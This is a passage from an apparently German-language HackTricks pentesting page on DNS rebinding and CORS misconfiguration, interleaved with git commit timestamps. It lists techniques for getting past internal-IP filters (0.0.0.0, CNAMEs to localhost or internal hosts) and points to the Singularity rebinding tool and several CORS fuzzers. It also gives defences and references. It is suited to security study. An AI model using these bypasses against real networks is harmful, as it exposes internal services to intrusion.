Anbieter wie Godaddy oder Cloudflare haben es mir nicht erlaubt, die IP 0.0.0.0 zu verwenden, aber AWS Route53 hat es mir erlaubt, einen A-Eintrag mit 2 IPs zu erstellen, wobei eine davon "0.0.0.0" ist.
2022-04-30 03:02:38 +00:00
<img src="../.gitbook/assets/image (140).png" alt="" data-size="original">
2022-04-30 03:02:38 +00:00
{% endhint %}
Für weitere Informationen kannst du [https://unit42.paloaltonetworks.com/dns-rebinding/](https://unit42.paloaltonetworks.com/dns-rebinding/) überprüfen.
### Andere häufige Umgehungen
2022-05-02 00:28:26 +00:00
* Wenn **interne IPs nicht erlaubt sind**, könnten sie **vergessen haben, 0.0.0.0 zu verbieten** (funktioniert auf Linux und Mac)
* Wenn **interne IPs nicht erlaubt sind**, antworten Sie mit einem **CNAME** auf **localhost** (funktioniert auf Linux und Mac)
* Wenn **interne IPs nicht als DNS-Antworten erlaubt sind**, können Sie **CNAMEs auf interne Dienste** wie www.corporate.internal antworten.
2022-05-02 00:28:26 +00:00
2024-02-10 15:36:32 +00:00
### DNS-Rebinding weaponisiert
2022-05-02 00:28:26 +00:00
Weitere Informationen zu den vorherigen Umgehungstechniken und zur Verwendung des folgenden Tools finden Sie im Vortrag [Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference](https://www.youtube.com/watch?v=y9-0lICNjOQ).
2022-05-02 00:28:26 +00:00
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity) ist ein Tool zur Durchführung von [DNS-Rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding)-Angriffen. Es enthält die erforderlichen Komponenten, um die IP-Adresse des Angriffsservers-DNS-Namens auf die IP-Adresse der Zielmaschine zurückzubinden und Angriffspayloads bereitzustellen, um anfällige Software auf der Zielmaschine auszunutzen.
2022-05-02 00:28:26 +00:00
2024-02-10 15:36:32 +00:00
### Echter Schutz gegen DNS-Rebinding
2022-05-02 00:29:38 +00:00
* Verwenden Sie TLS in internen Diensten
* Fordern Sie Authentifizierung an, um auf Daten zuzugreifen
* Validieren Sie den Host-Header
* [https://wicg.github.io/private-network-access/](https://wicg.github.io/private-network-access/): Vorschlag, immer eine Vorab-Anfrage zu senden, wenn öffentliche Server auf interne Server zugreifen möchten
2022-05-02 00:29:38 +00:00
2022-05-02 00:28:26 +00:00
## **Tools**
2024-02-10 15:36:32 +00:00
**Fuzz mögliche Fehlkonfigurationen in CORS-Richtlinien**
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
* [https://github.com/Shivangx01b/CorsMe](https://github.com/Shivangx01b/CorsMe)
* [https://github.com/omranisecurity/CorsOne](https://github.com/omranisecurity/CorsOne)
2024-02-10 15:36:32 +00:00
## Referenzen
2024-02-05 20:00:40 +00:00
* [https://portswigger.net/web-security/cors](https://portswigger.net/web-security/cors)
* [https://portswigger.net/web-security/cors/access-control-allow-origin](https://portswigger.net/web-security/cors/access-control-allow-origin)
* [https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers#CORS)
* [https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties](https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties)
* [https://www.codecademy.com/articles/what-is-cors](https://www.codecademy.com/articles/what-is-cors)
* [https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors](https://www.we45.com/blog/3-ways-to-exploit-misconfigured-cross-origin-resource-sharing-cors)
* [https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646](https://medium.com/netscape/hacking-it-out-when-cors-wont-let-you-be-great-35f6206cc646)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/CORS%20Misconfiguration)
* [https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b](https://medium.com/entersoftsecurity/every-bug-bounty-hunter-should-know-the-evil-smile-of-the-jsonp-over-the-browsers-same-origin-438af3a0ac3b)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-31 01:25:17 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
2022-04-28 16:01:33 +00:00
</details>